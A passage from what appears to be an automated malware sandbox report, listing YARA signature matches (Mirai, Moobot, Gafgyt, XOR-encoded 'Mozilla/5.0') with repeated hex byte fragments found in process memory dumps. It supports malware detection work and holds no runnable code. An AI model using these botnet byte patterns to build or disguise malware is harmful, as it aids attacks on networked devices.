2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6530.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7374.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7374.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7374.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7374.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7374.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7374.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6880.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7042.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7042.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7042.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7042.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7042.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6302.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6302.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6302.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6302.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6302.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6302.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6549.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6886.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6886.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6886.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6886.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6886.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6886.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6824.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7067.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7067.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7067.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7067.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7067.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7067.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6603.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6729.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6622.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7106.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7106.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7106.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7106.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7106.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 